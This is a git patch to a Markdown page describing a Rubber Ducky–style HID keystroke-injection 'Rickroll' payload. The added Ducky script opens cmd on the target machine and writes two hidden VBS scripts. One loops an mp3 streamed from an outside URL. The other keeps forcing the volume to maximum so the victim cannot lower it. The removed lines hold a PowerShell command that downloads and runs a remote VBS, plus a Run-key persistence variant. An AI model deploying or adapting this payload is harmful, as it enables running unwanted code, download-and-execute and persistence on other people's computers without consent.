From 93ba2f1e9467a032fdc25585aa8c9a16672847b1 Mon Sep 17 00:00:00 2001 From: BlueArduino20 Date: Wed, 12 Apr 2017 15:09:00 +0200 Subject: [PATCH] This is a modification from the real "Rickroll". It does the same, but it's got a big difference: It sets the volume to the maximum continuously. If someone tries to get down the volume, a vbs resets it to the maximum level. It doesn't need admin permissions, because it doesn't work with powershell. --- Payload---rickroll.md | 59 ++++++++++++++++++++++++++++++++++--------- 1 file changed, 47 insertions(+), 12 deletions(-) diff --git a/Payload---rickroll.md b/Payload---rickroll.md index ac0237b..88addf8 100644 --- a/Payload---rickroll.md +++ b/Payload---rickroll.md @@ -1,17 +1,52 @@ -GitLab repo: https://gitlab.com/WarKitteh/arduino-hid-rickroll +Based on: https://gitlab.com/WarKitteh/arduino-hid-rickroll +GitLab repo (Modded): https://github.com/BlueArduino20/Rickroll-MODDED + +It creates and starts 2 vbs files. One of them plays Never Gonna Give You Up from Rick Astley on a loop without any windows showing up. Another vbs file sets the volume to the maximum continuously and if someone tries to get down the volume, it will reset the volume to the maximum level. Ducky code: -`DELAY 1000 -GUI x -DELAY 200 -UP -REPEAT 7 +

+DELAY 3500
+GUI r
 DELAY 200
+STRING cmd
 ENTER
-DELAY 500
-ALT y
 DELAY 200
-STRING powershell (new-object System.Net.WebClient).DownloadFile('https://gitlab.com/WarKitteh/arduino-hid-rickroll/raw/cee63bb220c856587462b29d61bdfc70c806805f/rickroll.vbs','%userprofile%\rickroll.vbs'); && start %userprofile%\rickroll.vbs && exit
-REM powershell (new-object System.Net.WebClient).DownloadFile('https://gitlab.com/WarKitteh/arduino-hid-rickroll/raw/cee63bb220c856587462b29d61bdfc70c806805f/rickroll.vbs','%userprofile%\rickroll.vbs'); && start %userprofile%\rickroll.vbs && reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v TotallyNotShadyStartupItem /d %userprofile%\rickroll.vbs && exit
-DELAY 200
-ENTER`
\ No newline at end of file
+STRING cd %tmp% && copy con rickyou.vbs
+ENTER
+STRING While true
+ENTER
+STRING Dim oPlayer
+ENTER
+STRING Set oPlayer = CreateObject("WMPlayer.OCX")
+ENTER
+STRING oPlayer.URL = "https://pixelcoding.nl/download/rickroll.mp3"
+ENTER
+STRING oPlayer.controls.play
+ENTER
+STRING While oPlayer.playState <> 1 ' 1 = Stopped
+ENTER
+STRING WScript.Sleep 100
+ENTER
+STRING Wend
+ENTER
+STRING oPlayer.close
+ENTER
+STRING Wend
+ENTER
+DELAY 100
+CTRL z
+ENTER
+STRING copy con volup.vbs
+ENTER
+STRING do
+ENTER
+STRING Set WshShell = CreateObject("WScript.Shell")
+ENTER
+STRING WshShell.SendKeys(chr(&hAF))
+ENTER
+STRING loop
+ENTER
+CTRL z
+ENTER
+STRING start rickyou.vbs && volup.vbs
+
\ No newline at end of file